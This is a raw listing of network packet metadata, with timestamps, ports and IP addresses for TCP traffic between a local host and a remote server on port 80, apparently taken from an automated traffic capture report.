Jan 7, 2024 05:29:19.703362942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703418970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.703521013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703571081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.703633070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703654051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703691006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.703722000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703790903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703845024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704040051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704133034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704205990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704247952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704292059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704329014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704374075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704443932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704457045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704497099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704504013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704538107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704541922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704634905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704670906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704711914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704793930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704832077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.704860926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.704937935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705008984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705049992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.705059052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705104113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.705135107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705372095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705406904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705442905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.705451012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705516100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.705581903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705645084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705785036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705828905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.705861092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.705905914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.705965996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706069946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706372023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706384897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706410885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.706445932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706448078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.706511021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706536055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706551075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.706660032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706724882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706749916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706763029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.706794024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.706801891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706876040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706939936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.706984043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707089901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707128048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707132101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707207918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707295895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707350969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707386017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707473993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707525969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707530975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707566023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707628965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707711935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707793951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707861900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707879066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.707916021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.707983971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708062887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708141088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708184958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.708532095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708578110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.708611965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708745956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708794117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708836079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.708837032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708875895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.708906889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.708986998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709223986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709264040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709279060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.709305048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.709348917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709414959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709439039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709485054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.709491014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709533930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.709566116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709599018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709644079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709688902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.709719896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709755898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.709861994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709907055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709944010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.709990978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710092068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710134029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710180998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710268974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710347891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710407019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710442066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710479975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710510969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710575104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710613012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710654020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710685015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710727930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710758924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710798025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710875988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710908890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710921049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710947990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.710978031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.710990906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711015940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711050987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711050987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711102962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711118937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711216927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711260080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711285114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711309910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711328983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711329937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711483955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711601019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711613894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711647987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711673975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711682081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711694956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711731911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.711793900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711836100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711944103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.711997032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712028027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712069035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712101936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712193966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712207079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712254047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712279081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712323904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712333918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712412119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712517977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712562084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712635040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712651014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712663889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712682009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712702036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712718010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712747097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712793112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712798119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712831020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712902069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.712945938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.712976933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713017941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713020086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713076115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713114977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713155985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713176966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713212967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713232994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713263035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713337898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713375092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713383913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713413000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713434935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713459015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713500977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713500977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713572025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713586092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713629961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713661909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713675022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713704109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713776112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713818073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713820934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713835955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713897943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.713943958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.713973999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714013100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.714206934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714282036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714313984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714359045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.714360952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714396954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.714435101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714472055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714509964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714553118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.714595079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714637041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.714749098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714869976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.714988947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.715034962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.715066910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.715115070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.715147972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.715224028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.717400074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.900288105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.900487900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.900609016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.900631905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.900755882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.900844097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.901086092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.901124954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.901173115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.901192904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.901263952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.901316881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.901876926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.901984930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.902034998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.904320002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.904511929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.904566050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.904972076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.905052900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.905101061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.905136108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.905960083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.906009912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.906301975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.906316996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.906361103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.906742096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.906972885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907023907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.907058001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907529116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907576084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.907913923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907929897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907942057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907954931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907973051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.907989979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.907998085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.908374071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.908420086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.908478022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.908539057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.908586979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.908605099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.908873081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.908886909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.908917904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.909503937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.909553051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.910094023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.911520958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.911612034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.911633015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.912014008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.912069082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.912522078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.912904978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.912952900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.913270950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.913356066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.913398027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.913400888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.914031982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.914089918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.914372921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.914747000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.914791107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.914808035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.914879084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.914921045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.914922953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.915055990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915110111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.915271044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915405989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915457010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.915476084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915568113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915610075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.915611029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915689945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.915752888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.915769100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916136980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916181087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.916263103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916413069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916451931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.916559935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916647911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916790009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.916873932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.917038918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.917088032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.917618990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.917670965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.917716026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.917812109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.917882919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.917929888 CET	49735	80	192.168.2.4	91.215.85.120
